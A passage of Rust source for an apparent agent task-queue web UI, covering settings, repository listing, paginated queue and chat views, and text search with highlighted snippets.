5246 Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5247 "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5248 Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5249 None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5250 });
5251 Some(text)
5252}
5253
5254#[derive(Debug, Default, Deserialize)]
5257#[serde(default)]
5258struct ReposQuery {
5259 refresh: u8,
5260}
5261
5262async fn repos_list(
5269 State(ui): State<Arc<Ui>>,
5270 Query(q): Query<ReposQuery>,
5271) -> ApiResult<Json<Vec<repos::Repo>>> {
5272 let refresh = q.refresh != 0;
5273 blocking(move || {
5274 let (cfg, _) = Config::discover(&ui.repo, None)?;
5275 Ok(Json(ui.repos_cache.list(
5276 &cfg.repos.roots,
5277 Duration::from_secs(cfg.repos.scan_ttl),
5278 refresh,
5279 )))
5280 })
5281 .await
5282}
5283
5284#[derive(Debug, Default, Deserialize)]
5286struct SettingsQuery {
5287 repo: Option<PathBuf>,
5288}
5289
5290fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5294 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5295 let paths: Vec<PathBuf> = ui
5296 .machine_config
5297 .iter()
5298 .filter(|p| p.is_file())
5299 .cloned()
5300 .collect();
5301 if paths.is_empty() {
5302 Ok(Config::autodetected())
5303 } else {
5304 Config::load_layers(&paths)
5305 }
5306 });
5307 let mut known = cfg
5308 .map(|cfg| {
5309 ui.repos_cache.list(
5310 &cfg.repos.roots,
5311 Duration::from_secs(cfg.repos.scan_ttl),
5312 refresh,
5313 )
5314 })
5315 .unwrap_or_default();
5316 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5317 if !known.iter().any(|r| r.path == path) {
5318 known.push(repos::Repo {
5319 name: path
5320 .file_name()
5321 .unwrap_or_default()
5322 .to_string_lossy()
5323 .into_owned(),
5324 path,
5325 });
5326 }
5327 known
5328}
5329
5330fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5331 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5332 let canonical = requested.canonicalize().ok();
5333 let mut known = settings_repositories(ui, false);
5334 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5335 if !known.iter().any(matches) {
5336 known = settings_repositories(ui, true);
5337 }
5338 let repo = known
5339 .iter()
5340 .find(|r| matches(r))
5341 .map(|r| r.path.clone())
5342 .ok_or_else(|| ApiError {
5343 text_reason: None,
5344 status: StatusCode::UNPROCESSABLE_ENTITY,
5345 message: "Choose a known repository from the Settings selector.".to_owned(),
5346 })?;
5347 Ok((repo, known))
5348}
5349
5350async fn settings_get(
5354 State(ui): State<Arc<Ui>>,
5355 Query(q): Query<SettingsQuery>,
5356) -> ApiResult<Json<settings::SettingsView>> {
5357 blocking(move || {
5358 let (repo, known) = settings_context(&ui, q)?;
5359 Ok(Json(settings::view_with_repos(
5360 &repo,
5361 ui.machine_config.as_deref(),
5362 &known,
5363 )))
5364 })
5365 .await
5366}
5367
5368#[derive(Debug, Deserialize)]
5370#[serde(deny_unknown_fields)]
5371struct RolesBody {
5372 revision: String,
5374 #[serde(default)]
5376 roles: std::collections::BTreeMap<String, Vec<String>>,
5377 #[serde(default)]
5381 counts: std::collections::BTreeMap<String, serde_json::Value>,
5382}
5383
5384async fn settings_put_roles(
5390 State(ui): State<Arc<Ui>>,
5391 Query(q): Query<SettingsQuery>,
5392 body: std::result::Result<Json<RolesBody>, JsonRejection>,
5393) -> ApiResult<Json<settings::SettingsView>> {
5394 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5395 blocking(move || {
5396 let (repo, known) = settings_context(&ui, q)?;
5397 settings::save_with_repos(
5398 &repo,
5399 ui.machine_config.as_deref(),
5400 &body.revision,
5401 &body.roles,
5402 &body.counts,
5403 &known,
5404 )
5405 .map(Json)
5406 .map_err(|e| match e {
5407 settings::SaveError::Conflict(m) => ApiError::conflict(m),
5408 settings::SaveError::Refused(m) => ApiError {
5409 text_reason: None,
5410 status: StatusCode::UNPROCESSABLE_ENTITY,
5411 message: m,
5412 },
5413 settings::SaveError::Internal(m) => ApiError::internal(m),
5414 })
5415 })
5416 .await
5417}
5418
5419async fn queue_list(
5420 State(ui): State<Arc<Ui>>,
5421 Query(q): Query<ListQuery>,
5422) -> ApiResult<Json<Vec<TaskView>>> {
5423 blocking(move || {
5424 let tasks = ui.queue.list();
5425 let inv =
5426 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5427 let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5428 Ok(Json(
5429 tasks
5430 .into_iter()
5431 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5432 .map(|t| {
5433 TaskView::with_inventory(t, &inv).with_admission(
5434 &admission,
5435 &ui.queue,
5436 Some(&inv),
5437 &ui.home,
5438 )
5439 })
5440 .collect(),
5441 ))
5442 })
5443 .await
5444}
5445
5446#[derive(Debug, Default, Deserialize)]
5451struct PageQuery {
5452 before: Option<String>,
5453}
5454
5455#[derive(Serialize)]
5456struct StorePage<T> {
5457 rows: Vec<T>,
5458 next: Option<String>,
5459}
5460
5461const STORE_PAGE_SIZE: usize = 16;
5462
5463#[derive(Debug)]
5467struct ListWalk {
5468 token: u64,
5469 talks: bool,
5470 opened: std::time::Instant,
5471 ids: Arc<Vec<String>>,
5472 initial_end: usize,
5473}
5474
5475fn read_owner_goal(reader: impl std::io::Read) -> bool {
5478 use serde::de::{IgnoredAny, MapAccess, Visitor};
5479 struct Header<'a>(&'a mut bool);
5480 impl<'de> Visitor<'de> for Header<'_> {
5481 type Value = ();
5482 fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
5483 f.write_str("conversation goals")
5484 }
5485 fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<(), A::Error> {
5486 while let Some(key) = map.next_key::<String>()? {
5487 if key == "turns" {
5488 return Err(serde::de::Error::custom("transcript boundary"));
5489 }
5490 if key == "goals" {
5491 let goals: Vec<crate::chat_goal::Goal> = map.next_value()?;
5492 *self.0 = crate::chat_status::Goals::of(&goals).owner > 0;
5493 return Err(serde::de::Error::custom("goals read"));
5494 }
5495 map.next_value::<IgnoredAny>()?;
5496 }
5497 Ok(())
5498 }
5499 }
5500 let mut owner = false;
5501 let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
5502 let mut json = serde_json::Deserializer::from_reader(reader);
5503 let _ = serde::Deserializer::deserialize_map(&mut json, Header(&mut owner));
5504 owner
5505}
5506
5507fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5508 page_ids_with(ui, talks, q, |ui, ids| {
5509 let mut open = open_talk_ids(ui, ids);
5513 let inventory = chat_inventory(ui);
5514 let owing = inventory.needs_owner();
5515 open.extend(ids.iter().filter(|id| owing.contains(id.as_str())).cloned());
5516 let mut goals = ui
5517 .monitor
5518 .closed_goal_index
5519 .lock()
5520 .unwrap_or_else(PoisonError::into_inner);
5521 let present: HashSet<_> = ids.iter().collect();
5522 goals.retain(|id, _| present.contains(id));
5523 for id in ids {
5524 if open.contains(id) {
5525 continue;
5526 }
5527 let path = ui.talks.path_of(id);
5528 let identity = goal_identity(&path).ok();
5529 let owner = if let Some((old, owner)) = goals.get(id)
5530 && identity.as_ref() == Some(old)
5531 {
5532 *owner
5533 } else {
5534 let owner = std::fs::File::open(&path).ok().is_some_and(read_owner_goal);
5535 if let Some(identity) = identity
5536 && goal_identity(&path).is_ok_and(|after| after == identity)
5537 {
5538 goals.insert(id.clone(), (identity, owner));
5539 }
5540 owner
5541 };
5542 if owner {
5543 open.insert(id.clone());
5544 }
5545 }
5546 open
5547 })
5548}
5549
5550fn page_ids_with(
5551 ui: &Ui,
5552 talks: bool,
5553 q: PageQuery,
5554 classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5555) -> ApiResult<(Vec<String>, Option<String>)> {
5556 let mut walks = ui
5557 .monitor
5558 .list_walks
5559 .lock()
5560 .unwrap_or_else(PoisonError::into_inner);
5561 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5562 let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5563 let (token, offset) = cursor
5564 .split_once(':')
5565 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5566 let token = token
5567 .parse::<u64>()
5568 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5569 let offset = offset
5570 .parse::<usize>()
5571 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5572 let walk = walks
5573 .iter()
5574 .find(|walk| walk.token == token && walk.talks == talks)
5575 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5576 (token, walk.ids.clone(), offset, walk.initial_end)
5577 } else {
5578 drop(walks);
5581 let root = if talks {
5582 ui.talks.root()
5583 } else {
5584 ui.queue.root()
5585 };
5586 let mut ids = crate::queue::record_ids(root, "json")?;
5587 ids.sort_unstable_by(|a, b| b.cmp(a));
5588 let initial_end = if talks {
5589 let open = classify(ui, &ids);
5590 ids.sort_by_key(|id| !open.contains(id));
5593 open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5594 } else {
5595 STORE_PAGE_SIZE.min(ids.len())
5596 };
5597 let ids = Arc::new(ids);
5598 walks = ui
5599 .monitor
5600 .list_walks
5601 .lock()
5602 .unwrap_or_else(PoisonError::into_inner);
5603 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5604 let mut token = crate::rng::entropy();
5605 while walks.iter().any(|walk| walk.token == token) {
5606 token = crate::rng::entropy();
5607 }
5608 if walks.len() >= 16 {
5611 walks.remove(0);
5612 }
5613 walks.push(ListWalk {
5614 token,
5615 talks,
5616 opened: std::time::Instant::now(),
5617 ids: ids.clone(),
5618 initial_end,
5619 });
5620 (token, ids, 0, initial_end)
5621 };
5622 if offset > ids.len() {
5623 return Err(ApiError::bad_request("Invalid list cursor"));
5624 }
5625 let end = if offset == 0 {
5626 initial_end
5627 } else {
5628 offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5629 };
5630 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5631 Ok((ids[offset..end].to_vec(), next))
5632}
5633
5634async fn queue_page(
5635 State(ui): State<Arc<Ui>>,
5636 Query(q): Query<PageQuery>,
5637) -> ApiResult<Json<StorePage<TaskView>>> {
5638 blocking(move || {
5639 let (ids, next) = page_ids(&ui, false, q)?;
5640 let tasks: Vec<_> = ids
5641 .into_iter()
5642 .filter_map(|id| ui.queue.get(&id).ok())
5643 .collect();
5644 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5645 let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5646 let rows = tasks
5647 .into_iter()
5648 .map(|task| {
5649 TaskView::with_inventory(task, &inv).with_admission(
5650 &admission,
5651 &ui.queue,
5652 Some(&inv),
5653 &ui.home,
5654 )
5655 })
5656 .collect();
5657 Ok(Json(StorePage { rows, next }))
5658 })
5659 .await
5660}
5661
5662#[derive(Debug, Clone, Serialize)]
5665struct TalkListView {
5666 title: Option<talk::ChatTitle>,
5667 id: String,
5668 repo: PathBuf,
5669 agent: String,
5670 status: talk::TalkStatus,
5671 turns: Vec<TalkListTurn>,
5672 turn_count: usize,
5673 unread_count: usize,
5674 context: talk::ContextUsage,
5675 #[serde(skip)]
5676 agent_times: Vec<Timestamp>,
5677 #[serde(skip)]
5678 goals: crate::chat_status::Goals,
5679 thinking: bool,
5680 chat_status: crate::chat_status::ChatStatus,
5682 created_at: Timestamp,
5683 updated_at: Timestamp,
5684}
5685
5686#[derive(Debug, Clone, Serialize)]
5687struct TalkListTurn {
5688 who: talk::Who,
5689 at: Timestamp,
5690 body: String,
5691}
5692
5693fn chat_inventory(ui: &Ui) -> Arc<crate::chat_status::Inventory> {
5697 let unreadable = ui
5698 .monitor
5699 .chat_sources_unreadable
5700 .load(std::sync::atomic::Ordering::Acquire);
5701 let key = ui
5702 .monitor
5703 .latest
5704 .lock()
5705 .unwrap_or_else(PoisonError::into_inner)
5706 .as_ref()
5707 .map(|(revisions, _)| *revisions);
5708 if !unreadable
5709 && let Some(key) = key
5710 && let Some((cached, inventory)) = ui
5711 .monitor
5712 .chat_inventory
5713 .lock()
5714 .unwrap_or_else(PoisonError::into_inner)
5715 .as_ref()
5716 && *cached == key
5717 {
5718 return Arc::clone(inventory);
5719 }
5720 let tasks = ui.queue.list();
5721 let questions = ui.questions.list();
5722 let mut inventory = crate::chat_status::Inventory::collect(&ui.home, &tasks, &questions);
5723 if unreadable
5724 || crate::queue::record_ids(ui.queue.root(), "json")
5725 .map_or(true, |ids| ids.len() > tasks.len())
5726 || crate::queue::record_ids(ui.questions.root(), "json")
5727 .map_or(true, |ids| ids.len() > questions.len())
5728 {
5729 inventory.mark_unreadable();
5730 }
5731 let inventory = Arc::new(inventory);
5732 if !unreadable && let Some(key) = key {
5733 *ui.monitor
5734 .chat_inventory
5735 .lock()
5736 .unwrap_or_else(PoisonError::into_inner) = Some((key, Arc::clone(&inventory)));
5737 }
5738 inventory
5739}
5740
5741fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5742 let reads: HashMap<String, Timestamp> = headers
5743 .get("x-talk-reads")
5744 .and_then(|v| v.to_str().ok())
5745 .and_then(|v| serde_json::from_str(v).ok())
5746 .unwrap_or_default();
5747 let inventory = chat_inventory(ui);
5748 let mut index = ui
5749 .monitor
5750 .talk_index
5751 .lock()
5752 .unwrap_or_else(PoisonError::into_inner);
5753 if index.len() > 1000 {
5755 let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5756 index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5757 if index.len() > 1000 {
5758 index.retain(|id, _| keep.contains(id.as_str()));
5759 }
5760 }
5761 ids.into_iter()
5762 .filter_map(|id| {
5763 let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5764 if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5765 let talk = ui.talks.get(&id).ok()?;
5766 #[cfg(test)]
5767 ui.monitor
5768 .talk_parses
5769 .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5770 let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5771 let last = talk.turns.len().checked_sub(1);
5772 let turns = talk
5773 .turns
5774 .iter()
5775 .enumerate()
5776 .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5777 .map(|(_, t)| TalkListTurn {
5778 who: t.who,
5779 at: t.at,
5780 body: t
5781 .body
5782 .lines()
5783 .next()
5784 .unwrap_or_default()
5785 .chars()
5786 .take(240)
5787 .collect(),
5788 })
5789 .collect();
5790 let row = TalkListView {
5791 title: talk.title.clone(),
5792 agent_times: talk
5793 .turns
5794 .iter()
5795 .filter(|t| t.who == talk::Who::Agent)
5796 .map(|t| t.at)
5797 .collect(),
5798 turn_count: talk.turns.len(),
5799 goals: crate::chat_status::Goals::of(&talk.goals),
5800 chat_status: crate::chat_status::ChatStatus::placeholder(),
5801 unread_count: 0,
5802 context: talk::context_usage(&talk, None),
5803 turns,
5804 thinking: false,
5805 id: talk.id,
5806 repo: talk.repo,
5807 agent: talk.agent,
5808 status: talk.status,
5809 created_at: talk.created_at,
5810 updated_at: talk.updated_at,
5811 };
5812 index.insert(id.clone(), (identity, row));
5813 }
5814 let row = &index.get(&id)?.1;
5815 let mut row = TalkListView {
5816 title: row.title.clone(),
5817 unread_count: row
5818 .agent_times
5819 .iter()
5820 .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5821 .count(),
5822 agent_times: Vec::new(),
5823 goals: row.goals,
5824 chat_status: row.chat_status.clone(),
5825 id: row.id.clone(),
5826 repo: row.repo.clone(),
5827 agent: row.agent.clone(),
5828 status: row.status,
5829 context: row.context.clone(),
5830 turns: row.turns.clone(),
5831 turn_count: row.turn_count,
5832 thinking: false,
5833 created_at: row.created_at,
5834 updated_at: row.updated_at,
5835 };
5836 let turn_held = ui.talks.turn_held(&id);
5837 row.thinking = turn_held || inventory.busy(&id);
5838 row.chat_status = inventory.status_of(&id, row.status.open(), row.goals, turn_held);
5839 Some(row)
5840 })
5841 .collect()
5842}
5843
5844async fn talks_page(
5845 State(ui): State<Arc<Ui>>,
5846 Query(q): Query<PageQuery>,
5847 headers: header::HeaderMap,
5848) -> ApiResult<Json<StorePage<TalkListView>>> {
5849 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5850 let (ids, next) = page_ids(&ui, true, q)?;
5851 Ok(Json(StorePage {
5852 rows: talk_rows(&ui, ids, &headers),
5853 next,
5854 }))
5855 })
5856 .await
5857}
5858
5859async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5860 blocking(move || {
5861 let tasks = ui.indexed_tasks()?;
5862 Ok(Json(TaskCountsView::from(
5863 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5864 )))
5865 })
5866 .await
5867}
5868
5869const SEARCH_MAX_HITS: usize = 100;
5871const SEARCH_MAX_QUERY: usize = 200;
5873const SEARCH_MAX_TERMS: usize = 8;
5874const SNIPPET_BEFORE: usize = 50;
5876const SNIPPET_AFTER: usize = 110;
5877
5878#[derive(Debug, Deserialize)]
5880struct SearchQuery {
5881 #[serde(default)]
5882 scope: String,
5883 #[serde(default)]
5884 q: String,
5885}
5886
5887#[derive(Debug, Serialize, PartialEq, Eq)]
5890struct SnippetPart {
5891 text: String,
5892 hit: bool,
5893}
5894
5895#[derive(Debug, Serialize)]
5897struct ChatSearchTarget {
5898 turn: usize,
5899 message: usize,
5900 at: String,
5901 text: String,
5902}
5903
5904fn chat_text_key(body: &str) -> String {
5905 let hash = body.chars().fold(2166136261_u32, |hash, c| {
5906 (hash ^ u32::from(c)).wrapping_mul(16777619)
5907 });
5908 format!("{hash:08x}:{}", body.chars().count())
5909}
5910
5911#[derive(Debug, Serialize)]
5912struct SearchHit {
5913 #[serde(skip_serializing_if = "Option::is_none")]
5914 target: Option<ChatSearchTarget>,
5915 id: String,
5916 field: String,
5918 snippet: Vec<SnippetPart>,
5919 #[serde(skip_serializing_if = "Option::is_none")]
5923 run: Option<RunSummary>,
5924}
5925
5926#[derive(Debug, Serialize)]
5927struct SearchView {
5928 scope: String,
5929 q: String,
5930 hits: Vec<SearchHit>,
5932 total: usize,
5934 truncated: bool,
5935 unreadable: usize,
5938}
5939
5940fn text_leaves<'a>(
5943 value: &'a serde_json::Value,
5944 field: &'a str,
5945 out: &mut Vec<(&'a str, &'a str)>,
5946) {
5947 match value {
5948 serde_json::Value::String(s) => out.push((field, s)),
5949 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5950 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5951 _ => {}
5952 }
5953}
5954
5955fn fold_char(c: char) -> char {
5958 c.to_lowercase().next().unwrap_or(c)
5959}
5960
5961fn search_terms(q: &str) -> Vec<String> {
5963 let mut terms: Vec<String> = Vec::new();
5964 for t in q.split_whitespace() {
5965 let t = t.to_lowercase();
5966 if !terms.contains(&t) {
5967 terms.push(t);
5968 }
5969 }
5970 terms
5971}
5972
5973fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5976 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5977 let mut first: Option<usize> = None;
5978 for term in terms {
5979 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5980 first = Some(first.map_or(at, |f| f.min(at)));
5981 }
5982 let (field, text) = leaves[first?];
5984 Some(SearchHit {
5985 id: String::new(),
5986 target: None,
5987 field: field.to_owned(),
5988 snippet: snippet_of(text, terms),
5989 run: None,
5990 })
5991}
5992
5993fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5996 let chars: Vec<char> = text.chars().collect();
5997 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5998 let needles: Vec<Vec<char>> = terms
5999 .iter()
6000 .map(|t| t.chars().map(fold_char).collect())
6001 .collect();
6002 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
6003 let mut best: Option<(usize, usize)> = None;
6004 for n in needles.iter().filter(|n| !n.is_empty()) {
6005 if n.len() > chars.len() || to == 0 {
6009 continue;
6010 }
6011 let last = (to - 1).min(chars.len() - n.len());
6012 if from > last {
6013 continue;
6014 }
6015 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
6016 && best.is_none_or(|(b, _)| i < b)
6017 {
6018 best = Some((i, i + n.len()));
6019 }
6020 }
6021 best
6022 };
6023 let Some((start, _)) = find(0, chars.len()) else {
6024 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
6026 return vec![SnippetPart {
6027 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
6028 hit: false,
6029 }];
6030 };
6031 let lo = start.saturating_sub(SNIPPET_BEFORE);
6032 let hi = (start + SNIPPET_AFTER).min(chars.len());
6033 let mut parts: Vec<SnippetPart> = Vec::new();
6034 let mut push = |s: &[char], hit: bool| {
6035 if s.is_empty() {
6036 return;
6037 }
6038 let text: String = s.iter().collect();
6039 match parts.last_mut() {
6040 Some(p) if p.hit == hit => p.text.push_str(&text),
6041 _ => parts.push(SnippetPart { text, hit }),
6042 }
6043 };
6044 if lo > 0 {
6045 push(&['\u{2026}'], false);
6046 }
6047 let mut at = lo;
6048 while at < hi {
6049 match find(at, hi) {
6050 Some((s, e)) => {
6051 push(&chars[at..s], false);
6052 let shown = e.min(hi);
6054 push(&chars[s..shown], true);
6055 at = shown;
6056 }
6057 None => {
6058 push(&chars[at..hi], false);
6059 at = hi;
6060 }
6061 }
6062 }
6063 if hi < chars.len() {
6064 push(&['\u{2026}'], false);
6065 }
6066 let mut prev_space = false;
6069 for p in &mut parts {
6070 let mut out = String::with_capacity(p.text.len());
6071 for c in p.text.chars() {
6072 if c.is_whitespace() {
6073 if !prev_space {
6074 out.push(' ');
6075 }
6076 prev_space = true;
6077 } else {
6078 out.push(c);
6079 prev_space = false;
6080 }
6081 }
6082 p.text = out;
6083 }
6084 parts.retain(|p| !p.text.is_empty());
6085 parts
6086}
6087
6088fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
6090where
6091 I: IntoIterator<Item = (String, serde_json::Value)>,
6092{
6093 for (id, doc) in docs {
6094 let mut leaves = Vec::new();
6095 leaves.push(("id", id.as_str()));
6098 text_leaves(&doc, "", &mut leaves);
6099 if let Some(mut hit) = search_document(terms, &leaves) {
6100 view.total += 1;
6101 if view.hits.len() < SEARCH_MAX_HITS {
6102 hit.id = id;
6103 view.hits.push(hit);
6104 }
6105 }
6106 }
6107 view.truncated = view.total > view.hits.len();
6108}
6109
6110fn talk_search_doc(talk: &Talk) -> serde_json::Value {
6116 let opener = talk
6117 .title
6118 .as_ref()
6119 .filter(|t| !t.text.is_empty())
6120 .map(|t| t.text.as_str())
6121 .or_else(|| {
6122 talk.turns
6123 .iter()
6124 .find(|t| t.who == talk::Who::Operator)
6125 .map(|t| t.body.as_str())
6126 })
6127 .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
6128 .unwrap_or("");
6129 let title: String = if opener.chars().count() > 96 {
6130 opener.chars().take(95).chain(['\u{2026}']).collect()
6131 } else {
6132 opener.to_owned()
6133 };
6134 let turns: Vec<serde_json::Value> = talk
6135 .turns
6136 .iter()
6137 .flat_map(|t| {
6138 let label = |message| match talk::sender(t, message) {
6139 talk::Sender::External => "external",
6140 _ => match t.who {
6141 talk::Who::Operator => "operator",
6142 talk::Who::Agent => "agent",
6143 },
6144 };
6145 if t.messages.is_empty() {
6146 vec![serde_json::json!({ label(None): t.body })]
6147 } else {
6148 t.messages
6149 .iter()
6150 .map(|m| serde_json::json!({ label(Some(m)): m.body }))
6151 .collect()
6152 }
6153 })
6154 .collect();
6155 serde_json::json!({ "title": title, "turns": turns })
6156}
6157
6158fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
6159 let doc = talk_search_doc(talk);
6160 let mut leaves = vec![("id", talk.id.as_str())];
6161 text_leaves(&doc, "", &mut leaves);
6162 let mut hit = search_document(terms, &leaves)?;
6163 let leaf = leaves
6165 .iter()
6166 .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
6167 let messages: Vec<_> = talk
6168 .turns
6169 .iter()
6170 .enumerate()
6171 .flat_map(|(i, turn)| {
6172 let bodies: Vec<&str> = if turn.messages.is_empty() {
6173 vec![turn.body.as_str()]
6174 } else {
6175 turn.messages.iter().map(|m| m.body.as_str()).collect()
6176 };
6177 bodies
6178 .into_iter()
6179 .enumerate()
6180 .map(move |(j, body)| (i, j, turn, body))
6181 })
6182 .collect();
6183 let target = leaf
6184 .checked_sub(2)
6185 .and_then(|i| messages.get(i))
6186 .or_else(|| {
6187 if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
6190 return None;
6191 }
6192 let (index, opener) = talk
6193 .turns
6194 .iter()
6195 .enumerate()
6196 .find(|(_, turn)| turn.who == talk::Who::Operator)?;
6197 let line = opener
6198 .body
6199 .lines()
6200 .map(str::trim)
6201 .find(|line| !line.is_empty())?;
6202 messages.iter().find(|(i, _, _, body)| {
6203 *i == index
6204 && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
6205 })
6206 });
6207 if let Some((i, j, turn, body)) = target {
6208 hit.target = Some(ChatSearchTarget {
6209 turn: *i,
6210 message: *j,
6211 at: turn.at.to_string(),
6212 text: chat_text_key(body),
6213 });
6214 }
6215 hit.id = talk.id.clone();
6216 Some(hit)
6217}
6218
6219async fn search_get(
6226 State(ui): State<Arc<Ui>>,
6227 Query(q): Query<SearchQuery>,
6228) -> ApiResult<Json<SearchView>> {
6229 let query = q.q.trim().to_owned();
6230 if query.is_empty() {
6231 return Err(ApiError::bad_request("q must not be empty"));
6232 }
6233 if query.chars().count() > SEARCH_MAX_QUERY {
6234 return Err(ApiError::bad_request(format!(
6235 "q is longer than {SEARCH_MAX_QUERY} characters"
6236 )));
6237 }
6238 let terms = search_terms(&query);
6239 if terms.len() > SEARCH_MAX_TERMS {
6240 return Err(ApiError::bad_request(format!(
6241 "q has more than {SEARCH_MAX_TERMS} terms"
6242 )));
6243 }
6244 let scope = q.scope;
6245 if scope != "runs" && scope != "tasks" && scope != "chats" {
6246 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
6247 }
6248 blocking(move || {
6249 let mut view = SearchView {
6250 scope: scope.clone(),
6251 q: query,
6252 hits: Vec::new(),
6253 total: 0,
6254 truncated: false,
6255 unreadable: 0,
6256 };
6257 if scope == "runs" {
6258 let mut unreadable = 0;
6259 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
6263 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
6264 match body.and_then(|b| serde_json::from_str(&b).ok()) {
6265 Some(v) => Some((id, v)),
6266 None => {
6267 unreadable += 1;
6268 None
6269 }
6270 }
6271 });
6272 search_docs(&terms, docs, &mut view);
6273 view.unreadable = unreadable;
6274 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
6277 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6278 for hit in &mut view.hits {
6279 if let Ok(state) = read_run(&ui.runs, &hit.id) {
6280 hit.run = summarize(
6281 [state],
6282 &open_runs,
6283 &claimed,
6284 &superseded,
6285 |p| probe.borrow_mut().status(p),
6286 |p| probe.borrow_mut().started_at(p),
6287 )
6288 .pop();
6289 }
6290 }
6291 } else if scope == "chats" {
6292 let (talks, unreadable) = ui.talks.list_counting_unreadable();
6293 view.unreadable = unreadable;
6294 for talk in &talks {
6295 if let Some(hit) = search_chat(&terms, talk) {
6296 view.total += 1;
6297 if view.hits.len() < SEARCH_MAX_HITS {
6298 view.hits.push(hit);
6299 }
6300 }
6301 }
6302 view.truncated = view.total > view.hits.len();
6303 } else {
6304 let docs = ui.queue.list().into_iter().filter_map(|t| {
6305 let mut v = serde_json::to_value(&t).ok()?;
6306 if let Some(o) = v.as_object_mut() {
6309 o.insert("filed_by".to_owned(), t.source_label().into());
6310 }
6311 Some((t.id, v))
6312 });
6313 search_docs(&terms, docs, &mut view);
6314 }
6315 Ok(Json(view))
6316 })
6317 .await
6318}
6319
6320#[derive(Debug, Serialize)]
6322struct TaskRunView {
6323 activity: Option<String>,
6324 n: usize,
6326 id: String,
6327 short: String,
6328 kind: &'static str,
6330 status: Option<&'static str>,
6332 readable: bool,
6334 provisional: bool,
6336 description: String,
6338 outcome: String,
6340 created_at: Option<Timestamp>,
6341 pr: Option<String>,
6342 exit: RunExit,
6344 attempt: AttemptCost,
6346 exit_label: String,
6349 later_pass: Option<usize>,
6352 pass_n: usize,
6356 passes_of_run: usize,
6357 pass: Option<PassView>,
6360 branch: Option<String>,
6362 badge: Option<String>,
6365}
6366
6367#[derive(Debug, Clone, PartialEq, Serialize)]
6369struct PassView {
6370 index: usize,
6371 resumed: bool,
6372 started_at: Timestamp,
6373 ended_at: Option<Timestamp>,
6374 end: &'static str,
6376 cause: Option<crate::run::ParkCause>,
6377 label: String,
6379 cost: Option<crate::queue::PassCost>,
